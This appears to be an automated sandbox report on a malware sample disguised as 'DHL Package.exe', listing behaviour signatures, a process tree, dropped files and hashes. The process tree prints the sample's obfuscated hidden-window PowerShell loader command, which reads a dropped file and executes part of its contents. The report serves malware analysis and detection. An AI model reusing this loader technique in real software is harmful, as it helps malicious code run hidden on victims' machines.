Analysis

  • max time kernel
    94s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/06/2024, 15:02

General

  • Target
    DHL Package.exe
  • Size 816KB
  • Sample240608-seflzadf32
  • SHA256 c9a985aea86448e6770b76c334fbd6a83658df00688bd4e754bde0ec0a12504f
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DHL Package.exe
    "C:\Users\Admin\AppData\Local\Temp\DHL Package.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Episioplasty=Get-Content 'C:\Users\Admin\AppData\Roaming\askefllesgrave\restsaldos\ferskenblde\Hovedpersonernes.Til';$Windfola=$Episioplasty.SubString(49304,3);.$Windfola($Episioplasty)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:548
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 2816
          3⤵
          • Program crash
          PID:1552
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1928 -ip 1928
      1⤵
        PID:1224

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_42ojjin0.w3y.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_42ojjin0.w3y.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            BgImage.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsq4893.tmp\BgImage.dll
            • Size 7KB
            • SHA256 a45f294137e2b0f6092eee8fdd2e19334f34ff3640d865a810b70f2104e92c21
            • MD5 SHA1 SHA512 SSDEEP

            nsDialogs.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsq4893.tmp\nsDialogs.dll
            • Size 9KB
            • SHA256 be60a00f32924ccbe03f9914e33b8e1ad8c8a1ca442263a69896efba74925b36
            • MD5 SHA1 SHA512 SSDEEP

            Hovedpersonernes.Til

            • Path C:\Users\Admin\AppData\Roaming\askefllesgrave\restsaldos\ferskenblde\Hovedpersonernes.Til
            • Size 48KB
            • SHA256 64b44c5656ec52010fa89f61e6989ff0da8a1086234d521a3efaf29b0d2d2dba
            • MD5 SHA1 SHA512 SSDEEP

            memory/1928-32-0x0000000073F40000-0x00000000746F0000-memory.dmp

            memory/1928-48-0x00000000068D0000-0x000000000691C000-memory.dmp

            memory/1928-33-0x0000000073F40000-0x00000000746F0000-memory.dmp

            memory/1928-34-0x0000000005860000-0x0000000005882000-memory.dmp

            memory/1928-35-0x0000000006130000-0x0000000006196000-memory.dmp

            memory/1928-36-0x0000000006210000-0x0000000006276000-memory.dmp

            memory/1928-30-0x0000000005260000-0x0000000005296000-memory.dmp

            memory/1928-46-0x0000000006280000-0x00000000065D4000-memory.dmp

            memory/1928-47-0x0000000006840000-0x000000000685E000-memory.dmp

            memory/1928-31-0x00000000058D0000-0x0000000005EF8000-memory.dmp

            memory/1928-49-0x0000000006DC0000-0x0000000006E56000-memory.dmp

            memory/1928-50-0x0000000006D60000-0x0000000006D7A000-memory.dmp

            memory/1928-51-0x0000000006E60000-0x0000000006E82000-memory.dmp

            memory/1928-52-0x0000000007DF0000-0x0000000008394000-memory.dmp

            memory/1928-29-0x0000000073F4E000-0x0000000073F4F000-memory.dmp

            memory/1928-54-0x0000000008A20000-0x000000000909A000-memory.dmp

            memory/1928-56-0x0000000073F40000-0x00000000746F0000-memory.dmp